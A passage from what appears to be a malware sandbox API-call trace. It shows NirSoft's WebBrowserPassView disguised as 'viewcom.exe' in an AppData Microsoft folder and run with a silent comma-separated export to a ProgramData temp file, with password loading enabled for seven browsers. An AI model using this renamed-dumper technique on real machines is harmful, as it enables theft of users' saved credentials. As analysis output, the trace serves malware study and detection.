[0079.106] SizeofResource (hModule=0x400000, hResInfo=0x4546b8) returned 0x424
[0079.106] LoadResource (hModule=0x400000, hResInfo=0x4546b8) returned 0x457eb4
[0079.106] LockResource (hResData=0x457eb4) returned 0x457eb4
[0079.106] FindResourceW (hModule=0x400000, lpName=0x68, lpType=0x4) returned 0x4546c8
[0079.106] SizeofResource (hModule=0x400000, hResInfo=0x4546c8) returned 0x1f4
[0079.106] LoadResource (hModule=0x400000, hResInfo=0x4546c8) returned 0x4582d8
[0079.106] LockResource (hResData=0x4582d8) returned 0x4582d8
[0079.106] EnumResourceNamesW (hModule=0x400000, lpType=0x5, lpEnumFunc=0x4134ba, lParam=0x0) returned 1
[0079.106] FindResourceW (hModule=0x400000, lpName=0x69, lpType=0x5) returned 0x4546d8
[0079.106] SizeofResource (hModule=0x400000, hResInfo=0x4546d8) returned 0xa2
[0079.106] LoadResource (hModule=0x400000, hResInfo=0x4546d8) returned 0x4584cc
[0079.106] LockResource (hResData=0x4584cc) returned 0x4584cc
[0079.106] FindResourceW (hModule=0x400000, lpName=0x6b, lpType=0x5) returned 0x4546e8
[0079.106] SizeofResource (hModule=0x400000, hResInfo=0x4546e8) returned 0x296
[0079.106] LoadResource (hModule=0x400000, hResInfo=0x4546e8) returned 0x458570
[0079.106] LockResource (hResData=0x458570) returned 0x458570
[0079.106] FindResourceW (hModule=0x400000, lpName=0x6e, lpType=0x5) returned 0x4546f8
[0079.106] SizeofResource (hModule=0x400000, hResInfo=0x4546f8) returned 0x5be
[0079.106] LoadResource (hModule=0x400000, hResInfo=0x4546f8) returned 0x458808
[0079.106] LockResource (hResData=0x458808) returned 0x458808
[0079.106] FindResourceW (hModule=0x400000, lpName=0x70, lpType=0x5) returned 0x454708
[0079.107] SizeofResource (hModule=0x400000, hResInfo=0x454708) returned 0xfa
[0079.107] LoadResource (hModule=0x400000, hResInfo=0x454708) returned 0x458dc8
[0079.107] LockResource (hResData=0x458dc8) returned 0x458dc8
[0079.107] FindResourceW (hModule=0x400000, lpName=0x448, lpType=0x5) returned 0x454718
[0079.107] SizeofResource (hModule=0x400000, hResInfo=0x454718) returned 0x336
[0079.107] LoadResource (hModule=0x400000, hResInfo=0x454718) returned 0x458ec4
[0079.107] LockResource (hResData=0x458ec4) returned 0x458ec4
[0079.107] EnumResourceNamesW (hModule=0x400000, lpType=0x6, lpEnumFunc=0x4134ba, lParam=0x0) returned 1
[0079.107] FindResourceW (hModule=0x400000, lpName=0x1, lpType=0x6) returned 0x454728
[0079.107] SizeofResource (hModule=0x400000, hResInfo=0x454728) returned 0x234
[0079.107] LoadResource (hModule=0x400000, hResInfo=0x454728) returned 0x4591fc
[0079.107] LockResource (hResData=0x4591fc) returned 0x4591fc
[0079.107] FindResourceW (hModule=0x400000, lpName=0x20, lpType=0x6) returned 0x454738
[0079.107] SizeofResource (hModule=0x400000, hResInfo=0x454738) returned 0x138
[0079.107] LoadResource (hModule=0x400000, hResInfo=0x454738) returned 0x459430
[0079.107] LockResource (hResData=0x459430) returned 0x459430
[0079.107] FindResourceW (hModule=0x400000, lpName=0x23, lpType=0x6) returned 0x454748
[0079.107] SizeofResource (hModule=0x400000, hResInfo=0x454748) returned 0x58
[0079.107] LoadResource (hModule=0x400000, hResInfo=0x454748) returned 0x459568
[0079.107] LockResource (hResData=0x459568) returned 0x459568
[0079.107] FindResourceW (hModule=0x400000, lpName=0x26, lpType=0x6) returned 0x454758
[0079.107] SizeofResource (hModule=0x400000, hResInfo=0x454758) returned 0xf6
[0079.107] LoadResource (hModule=0x400000, hResInfo=0x454758) returned 0x4595c0
[0079.107] LockResource (hResData=0x4595c0) returned 0x4595c0
[0079.107] FindResourceW (hModule=0x400000, lpName=0x27, lpType=0x6) returned 0x454768
[0079.107] SizeofResource (hModule=0x400000, hResInfo=0x454768) returned 0x96
[0079.107] LoadResource (hModule=0x400000, hResInfo=0x454768) returned 0x4596b8
[0079.107] LockResource (hResData=0x4596b8) returned 0x4596b8
[0079.107] FindResourceW (hModule=0x400000, lpName=0x3f, lpType=0x6) returned 0x454778
[0079.107] SizeofResource (hModule=0x400000, hResInfo=0x454778) returned 0xba
[0079.108] LoadResource (hModule=0x400000, hResInfo=0x454778) returned 0x459750
[0079.108] LockResource (hResData=0x459750) returned 0x459750
[0079.108] FindResourceW (hModule=0x400000, lpName=0x40, lpType=0x6) returned 0x454788
[0079.108] SizeofResource (hModule=0x400000, hResInfo=0x454788) returned 0x52
[0079.108] LoadResource (hModule=0x400000, hResInfo=0x454788) returned 0x45980c
[0079.108] LockResource (hResData=0x45980c) returned 0x45980c
[0079.108] FindResourceW (hModule=0x400000, lpName=0x52, lpType=0x6) returned 0x454798
[0079.108] SizeofResource (hModule=0x400000, hResInfo=0x454798) returned 0x68
[0079.108] LoadResource (hModule=0x400000, hResInfo=0x454798) returned 0x459860
[0079.108] LockResource (hResData=0x459860) returned 0x459860
[0079.108] EnumResourceNamesW (hModule=0x400000, lpType=0x9, lpEnumFunc=0x4134ba, lParam=0x0) returned 1
[0079.108] FindResourceW (hModule=0x400000, lpName=0x67, lpType=0x9) returned 0x4547a8
[0079.108] SizeofResource (hModule=0x400000, hResInfo=0x4547a8) returned 0x48
[0079.108] LoadResource (hModule=0x400000, hResInfo=0x4547a8) returned 0x4598c8
[0079.108] LockResource (hResData=0x4598c8) returned 0x4598c8
[0079.108] EnumResourceNamesW (hModule=0x400000, lpType=0xc, lpEnumFunc=0x4134ba, lParam=0x0) returned 1
[0079.108] FindResourceW (hModule=0x400000, lpName=0x67, lpType=0xc) returned 0x4547b8
[0079.108] SizeofResource (hModule=0x400000, hResInfo=0x4547b8) returned 0x14
[0079.108] LoadResource (hModule=0x400000, hResInfo=0x4547b8) returned 0x459910
[0079.108] LockResource (hResData=0x459910) returned 0x459910
[0079.108] EnumResourceNamesW (hModule=0x400000, lpType=0xe, lpEnumFunc=0x4134ba, lParam=0x0) returned 1
[0079.108] FindResourceW (hModule=0x400000, lpName=0x65, lpType=0xe) returned 0x4547c8
[0079.108] SizeofResource (hModule=0x400000, hResInfo=0x4547c8) returned 0x14
[0079.108] LoadResource (hModule=0x400000, hResInfo=0x4547c8) returned 0x459924
[0079.108] LockResource (hResData=0x459924) returned 0x459924
[0079.108] FindResourceW (hModule=0x400000, lpName=0x6f, lpType=0xe) returned 0x4547d8
[0079.108] SizeofResource (hModule=0x400000, hResInfo=0x4547d8) returned 0x14
[0079.108] LoadResource (hModule=0x400000, hResInfo=0x4547d8) returned 0x459938
[0079.108] LockResource (hResData=0x459938) returned 0x459938
[0079.108] FindResourceW (hModule=0x400000, lpName=0x72, lpType=0xe) returned 0x4547e8
[0079.108] SizeofResource (hModule=0x400000, hResInfo=0x4547e8) returned 0x14
[0079.108] LoadResource (hModule=0x400000, hResInfo=0x4547e8) returned 0x45994c
[0079.108] LockResource (hResData=0x45994c) returned 0x45994c
[0079.108] FindResourceW (hModule=0x400000, lpName=0x73, lpType=0xe) returned 0x4547f8
[0079.108] SizeofResource (hModule=0x400000, hResInfo=0x4547f8) returned 0x14
[0079.108] LoadResource (hModule=0x400000, hResInfo=0x4547f8) returned 0x459960
[0079.108] LockResource (hResData=0x459960) returned 0x459960
[0079.109] FindResourceW (hModule=0x400000, lpName=0x74, lpType=0xe) returned 0x454808
[0079.109] SizeofResource (hModule=0x400000, hResInfo=0x454808) returned 0x14
[0079.109] LoadResource (hModule=0x400000, hResInfo=0x454808) returned 0x459974
[0079.109] LockResource (hResData=0x459974) returned 0x459974
[0079.109] FindResourceW (hModule=0x400000, lpName=0x75, lpType=0xe) returned 0x454818
[0079.109] SizeofResource (hModule=0x400000, hResInfo=0x454818) returned 0x14
[0079.109] LoadResource (hModule=0x400000, hResInfo=0x454818) returned 0x459988
[0079.109] LockResource (hResData=0x459988) returned 0x459988
[0079.109] FindResourceW (hModule=0x400000, lpName=0x76, lpType=0xe) returned 0x454828
[0079.109] SizeofResource (hModule=0x400000, hResInfo=0x454828) returned 0x14
[0079.109] LoadResource (hModule=0x400000, hResInfo=0x454828) returned 0x45999c
[0079.109] LockResource (hResData=0x45999c) returned 0x45999c
[0079.109] FindResourceW (hModule=0x400000, lpName=0x77, lpType=0xe) returned 0x454838
[0079.109] SizeofResource (hModule=0x400000, hResInfo=0x454838) returned 0x14
[0079.109] LoadResource (hModule=0x400000, hResInfo=0x454838) returned 0x4599b0
[0079.109] LockResource (hResData=0x4599b0) returned 0x4599b0
[0079.109] EnumResourceNamesW (hModule=0x400000, lpType=0x10, lpEnumFunc=0x4134ba, lParam=0x0) returned 1
[0079.109] FindResourceW (hModule=0x400000, lpName=0x1, lpType=0x10) returned 0x454848
[0079.109] SizeofResource (hModule=0x400000, hResInfo=0x454848) returned 0x308
[0079.109] LoadResource (hModule=0x400000, hResInfo=0x454848) returned 0x4599c4
[0079.109] LockResource (hResData=0x4599c4) returned 0x4599c4
[0079.109] EnumResourceNamesW (hModule=0x400000, lpType=0x18, lpEnumFunc=0x4134ba, lParam=0x0) returned 1
[0079.109] FindResourceW (hModule=0x400000, lpName=0x1, lpType=0x18) returned 0x454858
[0079.109] SizeofResource (hModule=0x400000, hResInfo=0x454858) returned 0x445
[0079.109] LoadResource (hModule=0x400000, hResInfo=0x454858) returned 0x459ccc
[0079.109] LockResource (hResData=0x459ccc) returned 0x459ccc
[0079.110] wcscpy (in: _Dest=0x12f778, _Source="Arial" | out: _Dest="Arial") returned="Arial"
[0079.110] CreateFontIndirectW (lplf=0x12f75c) returned 0x80a08d5
[0079.174] wcsncat (in: _Dest=0x12fcc2, _Source="N", _Count=0x1 | out: _Dest="N") returned="N"
[0079.174] wcsncat (in: _Dest=0x12fcc2, _Source="i", _Count=0x1 | out: _Dest="Ni") returned="Ni"
[0079.174] wcsncat (in: _Dest=0x12fcc2, _Source="r", _Count=0x1 | out: _Dest="Nir") returned="Nir"
[0079.174] wcsncat (in: _Dest=0x12fcc2, _Source="S", _Count=0x1 | out: _Dest="NirS") returned="NirS"
[0079.174] wcsncat (in: _Dest=0x12fcc2, _Source="o", _Count=0x1 | out: _Dest="NirSo") returned="NirSo"
[0079.174] wcsncat (in: _Dest=0x12fcc2, _Source="f", _Count=0x1 | out: _Dest="NirSof") returned="NirSof"
[0079.174] wcsncat (in: _Dest=0x12fcc2, _Source="t", _Count=0x1 | out: _Dest="NirSoft") returned="NirSoft"
[0079.174] wcsncat (in: _Dest=0x12fcc2, _Source=" ", _Count=0x1 | out: _Dest="NirSoft ") returned="NirSoft "
[0079.174] wcsncat (in: _Dest=0x12fcc2, _Source="F", _Count=0x1 | out: _Dest="NirSoft F") returned="NirSoft F"
[0079.174] wcsncat (in: _Dest=0x12fcc2, _Source="r", _Count=0x1 | out: _Dest="NirSoft Fr") returned="NirSoft Fr"
[0079.174] wcsncat (in: _Dest=0x12fcc2, _Source="e", _Count=0x1 | out: _Dest="NirSoft Fre") returned="NirSoft Fre"
[0079.174] wcsncat (in: _Dest=0x12fcc2, _Source="e", _Count=0x1 | out: _Dest="NirSoft Free") returned="NirSoft Free"
[0079.174] wcsncat (in: _Dest=0x12fcc2, _Source="w", _Count=0x1 | out: _Dest="NirSoft Freew") returned="NirSoft Freew"
[0079.174] wcsncat (in: _Dest=0x12fcc2, _Source="a", _Count=0x1 | out: _Dest="NirSoft Freewa") returned="NirSoft Freewa"
[0079.174] wcsncat (in: _Dest=0x12fcc2, _Source="r", _Count=0x1 | out: _Dest="NirSoft Freewar") returned="NirSoft Freewar"
[0079.174] wcsncat (in: _Dest=0x12fcc2, _Source="e", _Count=0x1 | out: _Dest="NirSoft Freeware") returned="NirSoft Freeware"
[0079.174] wcsncat (in: _Dest=0x12fcc2, _Source=".", _Count=0x1 | out: _Dest="NirSoft Freeware.") returned="NirSoft Freeware."
[0079.174] wcsncat (in: _Dest=0x12fcc2, _Source=" ", _Count=0x1 | out: _Dest="NirSoft Freeware. ") returned="NirSoft Freeware. "
[0079.174] wcsncat (in: _Dest=0x12fcc2, _Source=" ", _Count=0x1 | out: _Dest="NirSoft Freeware. ") returned="NirSoft Freeware. "
[0079.174] wcsncat (in: _Dest=0x12fcc2, _Source="h", _Count=0x1 | out: _Dest="NirSoft Freeware. h") returned="NirSoft Freeware. h"
[0079.174] wcsncat (in: _Dest=0x12fcc2, _Source="t", _Count=0x1 | out: _Dest="NirSoft Freeware. ht") returned="NirSoft Freeware. ht"
[0079.174] wcsncat (in: _Dest=0x12fcc2, _Source="t", _Count=0x1 | out: _Dest="NirSoft Freeware. htt") returned="NirSoft Freeware. htt"
[0079.174] wcsncat (in: _Dest=0x12fcc2, _Source="p", _Count=0x1 | out: _Dest="NirSoft Freeware. http") returned="NirSoft Freeware. http"
[0079.174] wcsncat (in: _Dest=0x12fcc2, _Source=":", _Count=0x1 | out: _Dest="NirSoft Freeware. http:") returned="NirSoft Freeware. http:"
[0079.174] wcsncat (in: _Dest=0x12fcc2, _Source="/", _Count=0x1 | out: _Dest="NirSoft Freeware. http:/") returned="NirSoft Freeware. http:/"
[0079.174] wcsncat (in: _Dest=0x12fcc2, _Source="/", _Count=0x1 | out: _Dest="NirSoft Freeware. http://") returned="NirSoft Freeware. http://"
[0079.175] wcsncat (in: _Dest=0x12fcc2, _Source="w", _Count=0x1 | out: _Dest="NirSoft Freeware. http://w") returned="NirSoft Freeware. http://w"
[0079.175] wcsncat (in: _Dest=0x12fcc2, _Source="w", _Count=0x1 | out: _Dest="NirSoft Freeware. http://ww") returned="NirSoft Freeware. http://ww"
[0079.175] wcsncat (in: _Dest=0x12fcc2, _Source="w", _Count=0x1 | out: _Dest="NirSoft Freeware. http://www") returned="NirSoft Freeware. http://www"
[0079.175] wcsncat (in: _Dest=0x12fcc2, _Source=".", _Count=0x1 | out: _Dest="NirSoft Freeware. http://www.") returned="NirSoft Freeware. http://www."
[0079.175] wcsncat (in: _Dest=0x12fcc2, _Source="n", _Count=0x1 | out: _Dest="NirSoft Freeware. http://www.n") returned="NirSoft Freeware. http://www.n"
[0079.175] wcsncat (in: _Dest=0x12fcc2, _Source="i", _Count=0x1 | out: _Dest="NirSoft Freeware. http://www.ni") returned="NirSoft Freeware. http://www.ni"
[0079.175] wcsncat (in: _Dest=0x12fcc2, _Source="r", _Count=0x1 | out: _Dest="NirSoft Freeware. http://www.nir") returned="NirSoft Freeware. http://www.nir"
[0079.175] wcsncat (in: _Dest=0x12fcc2, _Source="s", _Count=0x1 | out: _Dest="NirSoft Freeware. http://www.nirs") returned="NirSoft Freeware. http://www.nirs"
[0079.175] wcsncat (in: _Dest=0x12fcc2, _Source="o", _Count=0x1 | out: _Dest="NirSoft Freeware. http://www.nirso") returned="NirSoft Freeware. http://www.nirso"
[0079.175] wcsncat (in: _Dest=0x12fcc2, _Source="f", _Count=0x1 | out: _Dest="NirSoft Freeware. http://www.nirsof") returned="NirSoft Freeware. http://www.nirsof"
[0079.175] wcsncat (in: _Dest=0x12fcc2, _Source="t", _Count=0x1 | out: _Dest="NirSoft Freeware. http://www.nirsoft") returned="NirSoft Freeware. http://www.nirsoft"
[0079.175] wcsncat (in: _Dest=0x12fcc2, _Source=".", _Count=0x1 | out: _Dest="NirSoft Freeware. http://www.nirsoft.") returned="NirSoft Freeware. http://www.nirsoft."
[0079.175] wcsncat (in: _Dest=0x12fcc2, _Source="n", _Count=0x1 | out: _Dest="NirSoft Freeware. http://www.nirsoft.n") returned="NirSoft Freeware. http://www.nirsoft.n"
[0079.175] wcsncat (in: _Dest=0x12fcc2, _Source="e", _Count=0x1 | out: _Dest="NirSoft Freeware. http://www.nirsoft.ne") returned="NirSoft Freeware. http://www.nirsoft.ne"
[0079.175] wcsncat (in: _Dest=0x12fcc2, _Source="t", _Count=0x1 | out: _Dest="NirSoft Freeware. http://www.nirsoft.net") returned="NirSoft Freeware. http://www.nirsoft.net"
[0079.175] GetModuleHandleW (lpModuleName=0x0) returned 0x400000
[0079.175] LoadIconW (hInstance=0x400000, lpIconName=0x65) returned 0x40189
[0079.176] wcscpy (in: _Dest=0x12f83c, _Source="WebBrowserPassView" | out: _Dest="WebBrowserPassView") returned="WebBrowserPassView"
[0079.176] wcslen (_String="/scomma") returned 0x7
[0079.176] wcslen (_String="C:\\ProgramData\\9F1C.tmp") returned 0x17
[0079.176] _wcsicmp (_String1="/savelangfile", _String2="/scomma") returned -2
[0079.176] _wcsicmp (_String1="/savelangfile", _String2="C:\\ProgramData\\9F1C.tmp") returned -52
[0079.176] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x12f5c4, nSize=0x104 | out: lpFilename="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\viewcom.exe" (normalized: "c:\\users\\atveydl98z\\appdata\\local\\microsoft\\windows\\viewcom.exe")) returned 0x3f
[0079.176] wcscat (in: _Dest=0x12f5c4, _Source="_lng.ini" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\viewcom_lng.ini") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\viewcom_lng.ini"
[0079.176] GetFileAttributesW (lpFileName="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\viewcom_lng.ini" (normalized: "c:\\users\\atveydl98z\\appdata\\local\\microsoft\\windows\\viewcom_lng.ini")) returned 0xffffffff
[0079.177] _wcsicmp (_String1="/deleteregkey", _String2="/scomma") returned -15
[0079.177] _wcsicmp (_String1="/deleteregkey", _String2="C:\\ProgramData\\9F1C.tmp") returned -52
[0079.178] GetModuleHandleW (lpModuleName=0x0) returned 0x400000
[0079.178] LoadStringW (in: hInstance=0x400000, uID=0x3e9, lpBuffer=0x395868, cchBufferMax=4095 | out: lpBuffer="URL") returned 0x3
[0079.178] GetModuleHandleW (lpModuleName=0x0) returned 0x400000
[0079.178] LoadStringW (in: hInstance=0x400000, uID=0x3e9, lpBuffer=0x395868, cchBufferMax=4095 | out: lpBuffer="URL") returned 0x3
[0079.178] GetModuleHandleW (lpModuleName=0x0) returned 0x400000
[0079.178] LoadStringW (in: hInstance=0x400000, uID=0x3ea, lpBuffer=0x395868, cchBufferMax=4095 | out: lpBuffer="Web Browser") returned 0xb
[0079.178] GetModuleHandleW (lpModuleName=0x0) returned 0x400000
[0079.178] LoadStringW (in: hInstance=0x400000, uID=0x3ea, lpBuffer=0x395868, cchBufferMax=4095 | out: lpBuffer="Web Browser") returned 0xb
[0079.178] GetModuleHandleW (lpModuleName=0x0) returned 0x400000
[0079.179] LoadStringW (in: hInstance=0x400000, uID=0x3eb, lpBuffer=0x395868, cchBufferMax=4095 | out: lpBuffer="User Name") returned 0x9
[0079.179] GetModuleHandleW (lpModuleName=0x0) returned 0x400000
[0079.179] LoadStringW (in: hInstance=0x400000, uID=0x3eb, lpBuffer=0x395868, cchBufferMax=4095 | out: lpBuffer="User Name") returned 0x9
[0079.179] GetModuleHandleW (lpModuleName=0x0) returned 0x400000
[0079.179] LoadStringW (in: hInstance=0x400000, uID=0x3ec, lpBuffer=0x395868, cchBufferMax=4095 | out: lpBuffer="Password") returned 0x8
[0079.179] GetModuleHandleW (lpModuleName=0x0) returned 0x400000
[0079.179] LoadStringW (in: hInstance=0x400000, uID=0x3ec, lpBuffer=0x395868, cchBufferMax=4095 | out: lpBuffer="Password") returned 0x8
[0079.179] GetModuleHandleW (lpModuleName=0x0) returned 0x400000
[0079.179] LoadStringW (in: hInstance=0x400000, uID=0x3ed, lpBuffer=0x395868, cchBufferMax=4095 | out: lpBuffer="Password Strength") returned 0x11
[0079.179] GetModuleHandleW (lpModuleName=0x0) returned 0x400000
[0079.179] LoadStringW (in: hInstance=0x400000, uID=0x3ed, lpBuffer=0x395868, cchBufferMax=4095 | out: lpBuffer="Password Strength") returned 0x11
[0079.179] GetModuleHandleW (lpModuleName=0x0) returned 0x400000
[0079.179] LoadStringW (in: hInstance=0x400000, uID=0x3ee, lpBuffer=0x395868, cchBufferMax=4095 | out: lpBuffer="User Name Field") returned 0xf
[0079.179] GetModuleHandleW (lpModuleName=0x0) returned 0x400000
[0079.179] LoadStringW (in: hInstance=0x400000, uID=0x3ee, lpBuffer=0x395868, cchBufferMax=4095 | out: lpBuffer="User Name Field") returned 0xf
[0079.180] GetModuleHandleW (lpModuleName=0x0) returned 0x400000
[0079.180] LoadStringW (in: hInstance=0x400000, uID=0x3ef, lpBuffer=0x395868, cchBufferMax=4095 | out: lpBuffer="Password Field") returned 0xe
[0079.180] GetModuleHandleW (lpModuleName=0x0) returned 0x400000
[0079.180] LoadStringW (in: hInstance=0x400000, uID=0x3ef, lpBuffer=0x395868, cchBufferMax=4095 | out: lpBuffer="Password Field") returned 0xe
[0079.180] GetModuleHandleW (lpModuleName=0x0) returned 0x400000
[0079.180] LoadStringW (in: hInstance=0x400000, uID=0x3f0, lpBuffer=0x395868, cchBufferMax=4095 | out: lpBuffer="Created Time") returned 0xc
[0079.180] GetModuleHandleW (lpModuleName=0x0) returned 0x400000
[0079.180] LoadStringW (in: hInstance=0x400000, uID=0x3f0, lpBuffer=0x395868, cchBufferMax=4095 | out: lpBuffer="Created Time") returned 0xc
[0079.180] GetModuleHandleW (lpModuleName=0x0) returned 0x400000
[0079.180] LoadStringW (in: hInstance=0x400000, uID=0x3f1, lpBuffer=0x395868, cchBufferMax=4095 | out: lpBuffer="Modified Time") returned 0xd
[0079.180] GetModuleHandleW (lpModuleName=0x0) returned 0x400000
[0079.180] LoadStringW (in: hInstance=0x400000, uID=0x3f1, lpBuffer=0x395868, cchBufferMax=4095 | out: lpBuffer="Modified Time") returned 0xd
[0079.181] _wcsicmp (_String1="/stext", _String2="/scomma") returned 17
[0079.181] _wcsicmp (_String1="/shtml", _String2="/scomma") returned 5
[0079.181] _wcsicmp (_String1="/sverhtml", _String2="/scomma") returned 19
[0079.181] _wcsicmp (_String1="/sxml", _String2="/scomma") returned 21
[0079.181] _wcsicmp (_String1="/stab", _String2="/scomma") returned 17
[0079.181] _wcsicmp (_String1="/stabular", _String2="/scomma") returned 17
[0079.181] _wcsicmp (_String1="/scomma", _String2="/scomma") returned 0
[0079.181] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x12f59c, nSize=0x104 | out: lpFilename="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\viewcom.exe" (normalized: "c:\\users\\atveydl98z\\appdata\\local\\microsoft\\windows\\viewcom.exe")) returned 0x3f
[0079.181] wcscat (in: _Dest=0x12f59c, _Source=".cfg" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\viewcom.cfg") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\viewcom.cfg"
[0079.181] wcscpy (in: _Dest=0x12f188, _Source="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\viewcom.cfg" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\viewcom.cfg") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\viewcom.cfg"
[0079.181] wcscpy (in: _Dest=0x12f392, _Source="General" | out: _Dest="General") returned="General"
[0079.181] GetPrivateProfileIntW (lpAppName="General", lpKeyName="ShowGridLines", nDefault=0, lpFileName="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\viewcom.cfg") returned 0x0
[0079.182] GetPrivateProfileIntW (lpAppName="General", lpKeyName="SaveFilterIndex", nDefault=0, lpFileName="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\viewcom.cfg") returned 0x0
[0079.182] GetPrivateProfileIntW (lpAppName="General", lpKeyName="ShowInfoTip", nDefault=1, lpFileName="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\viewcom.cfg") returned 0x1
[0079.182] GetPrivateProfileIntW (lpAppName="General", lpKeyName="MarkOddEvenRows", nDefault=0, lpFileName="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\viewcom.cfg") returned 0x0
[0079.182] GetPrivateProfileIntW (lpAppName="General", lpKeyName="ShowTimeInGMT", nDefault=0, lpFileName="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\viewcom.cfg") returned 0x0
[0079.182] GetPrivateProfileIntW (lpAppName="General", lpKeyName="LoadPasswordsIE", nDefault=1, lpFileName="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\viewcom.cfg") returned 0x1
[0079.182] GetPrivateProfileIntW (lpAppName="General", lpKeyName="LoadPasswordsFirefox", nDefault=1, lpFileName="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\viewcom.cfg") returned 0x1
[0079.182] GetPrivateProfileIntW (lpAppName="General", lpKeyName="LoadPasswordsChrome", nDefault=1, lpFileName="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\viewcom.cfg") returned 0x1
[0079.182] GetPrivateProfileIntW (lpAppName="General", lpKeyName="LoadPasswordsOpera", nDefault=1, lpFileName="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\viewcom.cfg") returned 0x1
[0079.182] GetPrivateProfileIntW (lpAppName="General", lpKeyName="LoadPasswordsSafari", nDefault=1, lpFileName="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\viewcom.cfg") returned 0x1
[0079.203] GetPrivateProfileIntW (lpAppName="General", lpKeyName="LoadPasswordsSeaMonkey", nDefault=1, lpFileName="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\viewcom.cfg") returned 0x1
[0079.203] GetPrivateProfileIntW (lpAppName="General", lpKeyName="LoadPasswordsYandex", nDefault=1, lpFileName="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\viewcom.cfg") returned 0x1
[0079.203] GetPrivateProfileIntW (lpAppName="General", lpKeyName="UseFirefoxProfileFolder", nDefault=0, lpFileName="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\viewcom.cfg") returned 0x0
[0079.204] GetPrivateProfileIntW (lpAppName="General", lpKeyName="UseFirefoxInstallFolder", nDefault=0, lpFileName="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\viewcom.cfg") returned 0x0
[0079.204] GetPrivateProfileIntW (lpAppName="General", lpKeyName="UseChromeProfileFolder", nDefault=0, lpFileName="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\viewcom.cfg") returned 0x0
[0079.204] GetPrivateProfileIntW (lpAppName="General", lpKeyName="UseOperaPasswordFile", nDefault=0, lpFileName="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\viewcom.cfg") returned 0x0
[0079.206] GetPrivateProfileStringW (in: lpAppName="General", lpKeyName="FirefoxProfileFolder", lpDefault="", lpReturnedString=0x393c08, nSize=0x104, lpFileName="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\viewcom.cfg" | out: lpReturnedString="") returned 0x0
[0079.206] GetPrivateProfileStringW (in: lpAppName="General", lpKeyName="FirefoxInstallFolder", lpDefault="", lpReturnedString=0x393e12, nSize=0x104, lpFileName="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\viewcom.cfg" | out: lpReturnedString="") returned 0x0
[0079.206] GetPrivateProfileStringW (in: lpAppName="General", lpKeyName="ChromeProfileFolder", lpDefault="", lpReturnedString=0x394220, nSize=0x104, lpFileName="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\viewcom.cfg" | out: lpReturnedString="") returned 0x0
[0079.207] GetPrivateProfileStringW (in: lpAppName="General", lpKeyName="OperaPasswordFile", lpDefault="", lpReturnedString=0x394430, nSize=0x104, lpFileName="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\viewcom.cfg" | out: lpReturnedString="") returned 0x0
[0079.207] GetPrivateProfileIntW (lpAppName="General", lpKeyName="SaveFileEncoeding", nDefault=0, lpFileName="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\viewcom.cfg") returned 0x0
[0079.207] GetPrivateProfileStringW (in: lpAppName="General", lpKeyName="WinPos", lpDefault="", lpReturnedString=0x12b134, nSize=0x2000, lpFileName="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\viewcom.cfg" | out: lpReturnedString="") returned 0x0
[0079.207] wcslen (_String="") returned 0x0
[0079.207] GetPrivateProfileStringW (in: lpAppName="General", lpKeyName="Columns", lpDefault="", lpReturnedString=0x12b134, nSize=0x2000, lpFileName="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\viewcom.cfg" | out: lpReturnedString="") returned 0x0
[0079.207] wcslen (_String="") returned 0x0
[0079.207] GetPrivateProfileIntW (lpAppName="General", lpKeyName="Sort", nDefault=0, lpFileName="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\viewcom.cfg") returned 0x0
[0079.207] wcscat (in: _Dest=0x12f568, _Source="ShowGridLines" | out: _Dest="/ShowGridLines") returned="/ShowGridLines"
[0079.207] _wcsicmp (_String1="/ShowGridLines", _String2="/scomma") returned 5
[0079.208] _wcsicmp (_String1="/ShowGridLines", _String2="C:\\ProgramData\\9F1C.tmp") returned -52
[0079.208] wcscat (in: _Dest=0x12f568, _Source="SaveFilterIndex" | out: _Dest="/SaveFilterIndex") returned="/SaveFilterIndex"
[0079.208] _wcsicmp (_String1="/SaveFilterIndex", _String2="/scomma") returned -2
